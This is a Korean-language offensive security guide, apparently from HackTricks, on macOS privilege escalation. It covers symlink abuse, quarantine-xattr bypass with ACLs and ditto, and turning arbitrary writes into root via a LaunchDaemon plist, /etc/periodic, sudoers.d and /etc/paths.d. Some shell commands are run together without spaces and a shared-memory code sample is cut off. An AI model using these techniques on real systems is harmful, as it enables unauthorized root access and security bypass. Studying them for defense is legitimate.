특권 프로세스가 사용자가 제어할 수 있는 파일에 데이터를 쓰거나 낮은 권한을 가진 사용자가 이전에 생성한 파일에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 해당 파일을 다른 파일로 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓸 것임.
공격자가 특권 상승을 위해 임의 쓰기를 악용할 수 있는 곳을 확인하려면 다른 섹션을 확인하세요.
.fileloc
.fileloc 확장자가 있는 파일은 다른 응용프로그램이나 이진 파일을 가리킬 수 있어서 해당 파일을 열면 응용프로그램/이진 파일이 실행됨.
예시:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>URL</key><string>file:///System/Applications/Calculator.app</string><key>URLPrefix</key><integer>0</integer></dict></plist>
임의의 FD
만약 프로세스가 높은 권한으로 파일이나 폴더를 열도록 만들 수 있다면, **crontab**을 남용하여 /etc/sudoers.d에 있는 파일을 **EDITOR=exploit.py**로 열도록 하여, exploit.py가 /etc/sudoers 내부의 파일에 대한 FD를 얻고 남용할 수 있습니다.
echoasd>/tmp/asdchflagsuchg/tmp/asd# "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"xattr-wcom.apple.quarantine""/tmp/asdxattr: [Errno 1]Operationnotpermitted:'/tmp/asd'ls-lO/tmp/asd# check the "uchg" in the output
defvfs 마운트
devfs 마운트는 xattr을 지원하지 않습니다, 자세한 정보는 CVE-2023-32364에서 확인할 수 있습니다.
rm-rf/tmp/test*echotest>/tmp/testchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"/tmp/testls-le/tmp/testditto-c-ktesttest.zip# Download the zip from the browser and decompress it, the file should be without a quarantine xattrcd/tmpechoy|rmtest# Decompress it with dittoditto-x-k--rsrctest.zip.ls-le/tmp/test# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)opentest.zipsleep1ls-le/tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble 파일 형식은 파일과 해당 ACE(접근 제어 항목)를 복사합니다.
소스 코드에서 볼 수 있듯이, xattr인 **com.apple.acl.text**에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, ACL을 포함하는 zip 파일로 응용 프로그램을 압축하고 다른 xattr이 기록되지 않도록 하는 경우... 격리 xattr이 응용 프로그램에 설정되지 않았습니다:
# Everything will be happening heremkdir/tmp/temp_xattrscd/tmp/temp_xattrs# Create a folder and a file with the acls and xattrmkdirdelmkdirdel/test_foldechotest>del/test_fold/test_filechmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_foldchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_fold/test_fileditto-c-kdeltest.zip# uncomporess to get it backditto-x-k--rsrctest.zip.ls-letest
(Note that even if this works the sandbox write the quarantine xattr before)
일반적으로 macOS는 com.apple.DiskArbitration.diskarbitrationd Mach 서비스와 통신하여 디스크를 마운트합니다(/usr/libexec/diskarbitrationd에서 제공). LaunchDaemons plist 파일에 -d 매개변수를 추가하고 다시 시작하면 /var/log/diskarbitrationd.log에 로그를 저장합니다.
그러나 hdik 및 hdiutil과 같은 도구를 사용하여 com.apple.driver.DiskImages kext와 직접 통신할 수 있습니다.
임의 쓰기
주기적인 sh 스크립트
스크립트가 쉘 스크립트로 해석될 수 있다면 매일 트리거될 /etc/periodic/daily/999.local 쉘 스크립트를 덮어쓸 수 있습니다.
다음과 같이 이 스크립트의 실행을 가짜로 만들 수 있습니다: sudo periodic daily
데몬
임의의 LaunchDaemon을 작성하고 **/Library/LaunchDaemons/xyz.hacktricks.privesc.plist**와 같은 plist를 사용하여 임의의 스크립트를 실행할 수 있습니다:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array><string>/Applications/Scripts/privesc.sh</string></array><key>RunAtLoad</key><true/></dict></plist>
Sudoers 파일
임의 쓰기 권한이 있다면 /etc/sudoers.d/ 폴더 내에 sudo 권한을 부여하는 파일을 생성할 수 있습니다.
PATH 파일
/etc/paths 파일은 PATH 환경 변수를 채우는 주요 위치 중 하나입니다. 이 파일을 덮어쓰려면 루트여야 하지만, 특권 프로세스에서 전체 경로 없이 명령어를 실행하는 경우, 이 파일을 수정하여 해킹할 수 있습니다.
/etc/paths.d**에 파일을 작성하여 PATH 환경 변수에 새 폴더를 로드할 수도 있습니다.
다른 사용자로부터 쓰기 가능한 파일 생성
이렇게 하면 나에게 쓰기 가능한 파일을 생성할 수 있습니다. 이 파일은 루트 소유이지만 나에게 쓰기 권한이 있습니다 (여기에서 코드 확인). 이것 또한 권한 상승으로 작동할 수 있습니다:
POSIX 공유 메모리는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 액세스할 수 있게 하여 다른 프로세스 간 통신 방법보다 빠른 통신을 가능하게 합니다. 이는 shm_open()을 사용하여 공유 메모리 객체를 생성하거나 열고, ftruncate()를 사용하여 크기를 설정하고, mmap()을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이후 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 액세스를 관리하고 데이터 손상을 방지하기 위해 종종 뮤텍스나 세마포어와 같은 동기화 메커니즘을 사용합니다. 마지막으로, 프로세스는 munmap() 및 close()를 사용하여 공유 메모리를 언맵하고 닫은 후, 선택적으로 shm_unlink()를 사용하여 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 액세스해야 하는 환경에서 효율적이고 빠른 IPC에 특히 효과적입니다.
// Write to the shared memory sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);
return 0; }
</details>
<details>
<summary>소비자 코드 예시</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS Guarded Descriptors
macOS 보호된 디스크립터는 macOS에 도입된 보안 기능으로, 사용자 응용 프로그램에서 파일 디스크립터 작업의 안전성과 신뢰성을 향상시킵니다. 이러한 보호된 디스크립터는 파일 디스크립터에 특정 제한 또는 "가드"를 연결하여 커널에서 강제하는 방법을 제공합니다.
이 기능은 무단 파일 액세스 또는 경쟁 조건과 같은 특정 유형의 보안 취약점을 방지하는 데 특히 유용합니다. 이러한 취약점은 예를 들어 스레드가 파일 설명에 액세스하고 다른 취약한 스레드에게 액세스 권한을 부여하거나 파일 디스크립터가 취약한 자식 프로세스에 상속될 때 발생합니다. 이 기능과 관련된 일부 함수는 다음과 같습니다:
guarded_open_np: 가드가 있는 FD 열기
guarded_close_np: 닫기
change_fdguard_np: 설명자에 대한 가드 플래그 변경 (가드 보호 제거 포함)